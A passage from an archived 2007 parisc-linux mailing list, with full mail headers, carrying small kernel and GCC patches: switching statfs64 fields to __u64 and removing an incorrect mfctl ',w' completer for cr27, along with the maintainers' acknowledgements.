--- a/include/asm-parisc/statfs.h
+++ b/include/asm-parisc/statfs.h
@@ -30,11 +30,11 @@ struct statfs {
 struct statfs64 {
 	long f_type;
 	long f_bsize;
-	u64 f_blocks;
-	u64 f_bfree;
-	u64 f_bavail;
-	u64 f_files;
-	u64 f_ffree;
+	__u64 f_blocks;
+	__u64 f_bfree;
+	__u64 f_bavail;
+	__u64 f_files;
+	__u64 f_ffree;
 	__kernel_fsid_t f_fsid;
 	long f_namelen;
 	long f_frsize;

--Boundary-00=_KZTvFOfaSFWYpfE
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_KZTvFOfaSFWYpfE--



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] GCC generates incorrect mfctl instruction
Date: Wed, 31 Jan 2007 09:43:36 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <20070131094336.dfaa715c.gmsoft__45099.6755309918$1416624272$gmane$org@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Multipart=_Wed__31_Jan_2007_09_43_36_+0100_coI_fUCNyXUQz64F"
X-Trace: ger.gmane.org 1416624272 22586 80.91.229.3 (22 Nov 2014 02:44:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jan 2007 08:42:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx099) with SMTP; 31 Jan 2007 09:42:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AB117D91D;
	Wed, 31 Jan 2007 01:42:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23121-10; Wed, 31 Jan 2007 01:42:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8630E7D99B;
	Wed, 31 Jan 2007 01:42:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C2817D86D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 01:42:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23049-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 01:42:30 -0700 (MST)
Original-Received: from av-tac-bru.cisco.com (weird-brew.cisco.com [144.254.15.118])
	by free.linux.hp.com (Postfix) with ESMTP id EB38D7D82B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 01:42:29 -0700 (MST)
X-TACSUNS: Virus Scanned
Original-Received: from strange-brew.cisco.com (localhost [127.0.0.1])
	by av-tac-bru.cisco.com (8.11.7p3+Sun/8.11.7) with ESMTP id
	l0V8gST06616 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 09:42:28 +0100 (CET)
Original-Received: from localhost (dhcp-peg3-vl30-144-254-7-131.cisco.com
	[144.254.7.131])
	by strange-brew.cisco.com (8.11.7p3+Sun/8.11.7) with SMTP id
	l0V8gS316951 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 09:42:28 +0100 (CET)
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sSz1LfptZDI5GbHGdWY2Bi1xemhmY8Gz
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24271

This is a multi-part message in MIME format.

--Multipart=_Wed__31_Jan_2007_09_43_36_+0100_coI_fUCNyXUQz64F
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit


Hi all,

This patch removes the ,w completer of the mfctl instruction when not used with cr11.
Only cr11 needs the ,w completer on PA2.0.

Reference : http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,959!114!244,00.html

Please review.

  Guy

-- 
Guy Martin
Gentoo Linux - HPPA port Lead


--Multipart=_Wed__31_Jan_2007_09_43_36_+0100_coI_fUCNyXUQz64F
Content-Type: text/x-patch;
 name="gcc-4.1.1-mfctl-fix.patch"
Content-Disposition: attachment;
 filename="gcc-4.1.1-mfctl-fix.patch"
Content-Transfer-Encoding: 7bit


Do not use ,w completer for register != cr11.

Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>

diff -uNr gcc-4.1.1.orig/gcc/config/pa/pa.md gcc-4.1.1/gcc/config/pa/pa.md
--- gcc-4.1.1.orig/gcc/config/pa/pa.md	2007-01-30 06:59:07.579391048 +0000
+++ gcc-4.1.1/gcc/config/pa/pa.md	2007-01-30 07:23:29.213188936 +0000
@@ -9854,7 +9854,7 @@
   [(set (match_operand:SI 0 "register_operand" "=r")
 	(unspec:SI [(const_int 0)] UNSPEC_TP))]
   ""
-  "{mfctl|mfctl,w} %%cr27,%0"
+  "mfctl %%cr27,%0"
   [(set_attr "type" "multi")
    (set_attr "length" "4")])
 

--Multipart=_Wed__31_Jan_2007_09_43_36_+0100_coI_fUCNyXUQz64F
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Multipart=_Wed__31_Jan_2007_09_43_36_+0100_coI_fUCNyXUQz64F--



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] GCC generates incorrect mfctl instruction
Date: Wed, 31 Jan 2007 09:33:54 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200701311433.l0VEXt9P025475__12089.5103006207$1416624272$gmane$org@hiauly1.hia.nrc.ca>
References: <20070131094336.dfaa715c.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624272 22588 80.91.229.3 (22 Nov 2014 02:44:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gmsoft@gentoo.org (Guy Martin)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jan 2007 14:34:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 31 Jan 2007 15:34:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66F287DA08;
	Wed, 31 Jan 2007 07:34:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27063-06; Wed, 31 Jan 2007 07:34:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5EB957D903;
	Wed, 31 Jan 2007 07:34:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D05467DA06
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 07:34:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26773-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 07:34:06 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 21DA57D903
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 07:34:06 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l0VEXtDg025476;
	Wed, 31 Jan 2007 09:33:55 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l0VEXt9P025475;
	Wed, 31 Jan 2007 09:33:55 -0500 (EST)
In-Reply-To: <20070131094336.dfaa715c.gmsoft@gentoo.org> from "Guy Martin" at
	Jan 31, 2007 09:43:36 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 35r5ffQdYW0/QbuGbmZpmRF0amthc5vU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24272

> This patch removes the ,w completer of the mfctl instruction when not used with cr11.
> Only cr11 needs the ,w completer on PA2.0.

Thanks, I'll install the change.  It might not get into 4.1.2 as
the 4.1 branch is currently frozen for release.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] use __u64 rather than u64 in parisc
	statfs structs
Date: Tue, 30 Jan 2007 21:14:05 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20070131021404.GA7088__32568.790499545$1416624272$gmane$org@athena.road.mcmartin.ca>
References: <200701281848.26804.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624272 22589 80.91.229.3 (22 Nov 2014 02:44:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:32 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jan 2007 02:14:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 31 Jan 2007 03:14:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A6837DA2E;
	Tue, 30 Jan 2007 19:14:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20908-01; Tue, 30 Jan 2007 19:14:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC68D7D9D0;
	Tue, 30 Jan 2007 19:14:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D22A7D9BC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Jan 2007 19:14:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20373-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Jan 2007 19:14:34 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 0DDDD7D9B6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Jan 2007 19:14:34 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7B19C58409B;
	Tue, 30 Jan 2007 21:14:32 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 06776584097;
	Tue, 30 Jan 2007 21:14:32 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id A1AEC837DB;
	Tue, 30 Jan 2007 21:14:31 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 62DB63B06E; Tue, 30 Jan 2007 21:14:05 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200701281848.26804.vapier@gentoo.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pMOJDI5vQEVtF+jDZnVpkENKNzg2NcIV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24273

On Sun, Jan 28, 2007 at 06:48:26PM -0500, Mike Frysinger wrote:
> the statfs header exports some structs to userspace ... the parisc statfs64 
> struct currently uses u64 so the trivial attached patch fixes it to use __u64
> -mike

ack'd and merged. can you please not attach patches but properly send them
inline so i don't have to edit them before applying them to my tree?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GCC 4.1.1 generates invalid mfctl,w asm instruction
Date: Tue, 30 Jan 2007 15:19:34 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20070130151934.cf3622e4.gmsoft__31801.6100013212$1416624273$gmane$org@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624273 22592 80.91.229.3 (22 Nov 2014 02:44:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Feb 2007 17:58:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 01 Feb 2007 18:58:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 440C97D8D6;
	Thu,  1 Feb 2007 10:58:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05038-02; Thu, 1 Feb 2007 10:58:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B5797D83F;
	Thu,  1 Feb 2007 10:58:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F18DC7D996
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Feb 2007 04:11:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00765-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 1 Feb 2007 04:11:45 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 441817D993
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Feb 2007 04:11:45 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP id 055C0EC842
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Feb 2007 12:11:44 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP id 66A322FD80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Feb 2007 12:11:43 +0100 (CET)
Original-Received: from [172.22.0.4] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>) id 1HBtoK-00026Z-Lg
	for parisc-linux@lists.parisc-linux.org; Tue, 30 Jan 2007 15:18:12 +0100
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Thu, 01 Feb 2007 10:58:29 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NUOnBCEDfW4o8+WveGVovW1mdmllckUK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24274


Hi all,

Reference : http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,959!114!244,00.html

According this doc, the ,w completer of the mfctl instruction is only used for the cr11 register. This is the way binutils handle it.
However, gcc will generate the following instruction "mfctl,w %%cr27,%0" while compiling glibc-2.5 on pa2.0.

This little patch fix this :

diff -uNr gcc-4.1.1.orig/gcc/config/pa/pa.md gcc-4.1.1/gcc/config/pa/pa.md
--- gcc-4.1.1.orig/gcc/config/pa/pa.md  2007-01-30 06:59:07.579391048 +0000
+++ gcc-4.1.1/gcc/config/pa/pa.md       2007-01-30 07:23:29.213188936 +0000
@@ -9854,7 +9854,7 @@
   [(set (match_operand:SI 0 "register_operand" "=r")
        (unspec:SI [(const_int 0)] UNSPEC_TP))]
   ""
-  "{mfctl|mfctl,w} %%cr27,%0"
+  "mfctl %%cr27,%0"
   [(set_attr "type" "multi")
    (set_attr "length" "4")])


Please review.


Regards,
  Guy


-- 
Guy Martin
Gentoo Linux - HPPA port Lead

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.5 and binutils CVS
Date: Fri, 02 Feb 2007 19:05:21 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <45C37D61.4040507__11698.0355502621$1416624273$gmane$org@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624273 22596 80.91.229.3 (22 Nov 2014 02:44:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Feb 2007 18:06:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 02 Feb 2007 19:06:01 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35A2E7D9EF;
	Fri,  2 Feb 2007 11:05:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13937-05; Fri, 2 Feb 2007 11:05:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12C697D640;
	Fri,  2 Feb 2007 11:05:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9A20A7D757
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Feb 2007 11:05:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13863-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 2 Feb 2007 11:05:39 -0700 (MST)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id D4D5F7D640
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Feb 2007 11:05:38 -0700 (MST)
Original-Received: from anguille.univ-lyon1.fr ([134.214.4.207])
	by mail.aurel32.net with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurelien@aurel32.net>)
	id 1HD2nU-0003WZ-Cq
	for parisc-linux@lists.parisc-linux.org; Fri, 02 Feb 2007 19:06:04 +0100
User-Agent: IceDove 1.5.0.9 (X11/20061220)
X-Spam-Status: No, hits=-1.9
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
